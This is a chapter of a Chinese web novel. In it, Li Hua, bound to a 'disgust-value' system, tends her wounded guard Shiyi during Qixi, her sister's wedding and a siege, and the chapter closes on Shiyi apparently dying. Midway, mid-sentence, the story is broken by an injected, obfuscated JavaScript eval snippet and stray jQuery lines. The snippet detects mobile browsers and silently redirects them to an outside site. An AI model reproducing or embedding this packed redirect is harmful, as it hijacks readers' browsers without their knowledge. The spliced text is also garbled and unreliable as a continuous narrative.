59. 月中桂

作品:《绑定厌恶值收集系统后

    院中玉簪丛丛开得素雅热烈,暑气蒸的人浑身乏力,蝉声伴着墙外玩闹声传进李婳耳中,她却是浑身提不起精神。


    反正她的任务几乎要完成了,干脆在这几天好好休息。


    轻薄裙角垂在地上又被随便踢开,隐约露出白皙肤色,晃得身旁人花了眼。


    “姑娘怎么又不穿鞋?”婢女端来酥山到李婳面前,反被她躲了过去。


    “反正我也不出去不下地,不穿也没啥事。”


    地面上的裙子似水中涟漪般泛起波纹旋即被扯高,趴着的李婳换了个姿势蹲坐在踏上望着甜梅,摆摆手让甜梅自己把东西吃了去。


    甜梅倒是把东西搁好,一双圆眼笑成月牙,道:“那可不巧了,今天是七夕,姑娘你要是不出去,我就只能去找大姑娘玩了。”


    李婳在踏上转动身体背对甜梅,“谁拦得住你,你爱去哪去哪,我才管不着。”


    当初在长宁李府院子里都说好了,她谁都不带,这甜梅也是答应好了。谁知现在竟是神不知鬼不觉出现在了安阳。


    根据甜梅的说法,她们担心自己没熟悉的人侍候会不习惯,所以抽签选出了个人偷偷跟在队伍后面。


    阿珉骊珠她们知道,十一与李婋他们也知道。


    全世界都知道,就李婳自己不知道。


    “那姑娘先歇着,”甜梅脑子一转拿起酥山笑道:“你要是不吃我就拿去给十一了。”


    “不行!”


    刚刚还背对着人的姑娘瞬间坐直了阻止,好像要端出去的和毒药似的。


    不过对于伤的那么中的人来说,这玩意儿和毒药也没差。


    那日十一断后,身上又添了诸多伤口,最严重的便是胸膛重了一剑,险些刺到心脏。生生昏迷了三四日才醒过来,便是到了现在还需要躺床上静养,免得伤口再度撕裂。


    想到那些可怖的伤口,李婳也坐不住了,顿时趿着鞋要去找十一。


    走到门口她突然回头对甜梅道:“你快点儿吃,吃完我们出去玩。”


    “好嘞!”


    为了养伤,十一住处不似李婳那般热闹,四周种了些桂花树,蝉鸣声就从树上跃进室内,也算添了些声音。


    到了门口正好遇见大夫从屋子里出来,李婳赶忙询问情况。


    大夫摇摇头,将人领到角落里道:“受了那么多伤,纵使武功再高也不顶用,还是得好好养着,千万不能再病了。”


    “那……”


    “姑娘。”沙哑的男声打断了她的话,正是十一从屋中出来。


    大夫见状自觉离开,给两人留出空间。


    李婳见十一身穿黑衣,愈发显得面色苍白,虽头顶着艳阳但毫不见热意,整个人如同广寒宫里刚捞出来般清冷。


    见到李婳,他弯了弯眼角,树影映在他脸上左右摇动,竟也欢欣起来。


    “伤口没好你快进去躺着,我可不想以后少个暗卫。”李婳快步上前催他回屋子里。


    十一依言回去,整个过程中黑眸定定看着她,呆了似的。


    像是不敢相信,他试探着搭上李婳的衣袖,感受到切实触感后喃喃:“姑娘,无事。”


    “我当然没事啦,谁和你一样啊一天天的受伤。”


    埋怨似的话没有落到暗卫耳朵里,他现在满心满眼唯有一件事。


    李婳没事。


    自己保住了她平安。


    醒来几日,十一常觉得如梦般虚幻,唯有李婳过来时才感受到真实感。故而那只手自从搭上她的衣角后便没有再移开。


    等了半天见他还没行动,李婳扯出自己的袖子瞪了他一眼道:“又在发呆,下次再这样不来了。”


    委屈巴巴收回手,他低低道:“十一以后不敢了。”


    李婳像是有什么大发现,惊奇道:“你有没有觉得自己没那么磕巴了?”


    “真的吗?”


    “当然了,最开始你还是两三个字蹦出来的,刚刚说了好几个字都没有停顿。”她掰着手指头比了个七,脸上兴高采烈。


    窗外桂花树的阴影中,躲藏着的蝉鸣声愈发大了,叫得人精神焕发,必须得拿着竿子抓几只蝉才能平静下来。


    不过如今七夕,也少有人愿意和这些鸣虫较量。


    等到晚上明月高悬时,李婳等人出现在院中。


    以往七夕拜月皆是李府女眷聚在一处,如今只有李婳李婋拜着玩玩,她们不过是在院子里正对着月亮摆上张桌子,上供鲜果,又放上香炉红烛也就没了。


    烛火摇曳间香炉泛起的烟雾蔓延,逐渐消失在夜空之中,又似化成了满天薄云轻笼在月色旁,格外的悠然静谧。


    “阿姐,你在求什么?”


    席上李婋睁眼,望着明月道:“家人安康,天下太平。”


    烛光照亮她的眉眼,晚风吹动长姐鬓边发丝,再配上浑身的端庄稳重,显得李婋好似月下仙人般出尘俊美。


    李婳看着有些痴了,等再回神时,心中却是有些怅然。


    天下太平什么的,好像还是不行啊。


    “阿姐,雍徊城破,安阳又离雍徊挺近的……是不是该防范一下。”


    李婋从席间起身,身上环佩声清脆,淡然回道:“这些事自有城中官员操心,便是要提醒,你我如今也没办法。”


    “放心吧,有机会我会和周公子提的。” 李婋离去前转头劝她放心。


    如今七月初七,离长姐成婚不过数日,离安阳被攻打也不过二十日。


    系统直言:[如果他们不打过来,你的任务完成不了]


    “我知道的,你不用多提醒了。”


    阻止了侍从要收拾香案的动作,李婳学着阿姐的模样跪在席间,仰头看着月亮双手合十。


    明月照到她身上,轻盈飘逸的光亮倒也让她有了几分出尘模样。


    片刻后她回首,瞧见建筑后面站着个黑衣人,笑道:“你这乌鸦也不怕冻病了,要是出了什么事,我可承担不起。”


    藏于暗处的十一走到月光下,月光下燃着红烛泪,烛泪照明了香炉烟,炉烟朦胧了心上人。


    一切仿佛如梦似幻,不太真实的幻境。


    “发什么呆呢,走快点,小心赶不上了!”


    七夕桌案上的红烛似乎未曾燃尽,被摆到了长宁李婋成婚的桌上。李婳坐在位子上,看着李婋与周颍双双拜堂,流程就走了好几个时辰。


    以往的记忆中李婋最多是披着红斗篷,如今穿上红嫁衣,站在周颍身旁气势半点不输,便是她周围也有人再夸般配。


    整场下来唯一的瑕疵就是夫妻对拜时周颍看着李婋,呆呆发愣长久不动弹,气得周太守险些上去拿脚踹。


    等到婚后李婳也算是任务完成,本该离


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873703|154040||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去的,可她借着不舍姐姐的由头多留了几日,亲眼看到了打仗有多吓人。


    那时周颍李婋正在用饭,李婳作为小姨子也在府中住了下来,忽的听到战报,心中还有些不真实感。


    后面便是太守为维持秩序下令不许百姓出行。有些百姓已经跑了,有些不愿离去待在城中,拿起锄头准备殊死一搏。


    几天下来,战死之人数不胜数。


    李婳生平第一次看到这么惨烈的战争,吓得手脚冰凉,想帮忙却不知该做什么,只能听着每日的战况。


    等到八月,桂花开了满树。本该是家家摘桂花做食物的时节,如今也只能任由桂花开着了。


    这日她照例去看十一,半路上却见别人急急忙忙跑过来。


    “十一他,他犯了热病,如今神志不清大夫正救着呢!”


    等到大夫出来,见到李婳却只是摇了摇头,道:“他伤的太深,我医术有限只能尽力,现在只看这几日的情况了。”


    大夫说的话字字砸进耳朵里,李婳冲进房间见十一躺在床上,看她进来还扯出笑反过来安慰她,顿时心中又气又悔。


    “我当初就不该带你去承天山,不然你也不会成现在这样……”


    袖口处传来极轻的拉扯感,是十一伸手拉了拉李婳的袖子,轻声道:“与姑娘无关,十一本来,也想救孩子。十一从小被拐……不想、不想他们受苦。


    再者,为了争阁主,他们早晚,会下手。”


    暗卫的眼睛似水般柔和,静静围在她身上,他轻声道:“是十一,心甘情愿,不怪姑娘。”


    一番话下来,倒是让李婳心中越发愧疚起来。


    若是不认识自己,他便不会受这些伤了。


    现在好了,还需要他来安慰自己。


    李婳吸吸鼻子不去想那些,看着十一包扎好的伤口询问,“你疼不疼,要不要我去找点药啊什么的?”


    暗卫静静看着她,伸手想去擦掉李婳眼角的泪,可看见自己满手的茧子,又将手收了回去。


    “十一不疼,姑娘……不哭。”


    姑娘一哭,十一心疼。


    窗外桂花树遥遥飘着香,花粒虽小,隐在树叶间,却无比的热忱高洁。


    他私心认为安阳的桂花似乎比长宁的香一些,在安阳的两个月里,也比在长宁的幸福些。


    姑娘不会再为了什么任务而烦恼,去看其他人。在这里姑娘只会在乎他,每天都能与姑娘说话,能看着姑娘,能让姑娘守着自己……


    他已经满足了。


    毕竟这一世,姑娘还活着,平平安安的。


    可是对于李婳来说,可能还是长宁的日子更幸福些。


    十一望着窗外的桂花树,想到了那条绣着桂花的旧帕子。


    “姑娘。”


    “十一……想吃,桂花糕了。”


    李婳听后心中顿喜,“之前你还不吃,我马上让人去做。”


    “我想吃姑娘,亲手做的。”


    李婳立马答应下来,转身跑去做。


    她满心欢喜,毕竟能吃东西就是好事,吃下午就能维持生命了……


    十一躺在床上,看着李婳远去直至消失不见,不知过了多久,他收回目光看向庭外那颗桂花树。


    目光涣散间似乎瞧见了庭外桂花片片掉落,无声摔在地上,像是无言的黄昏。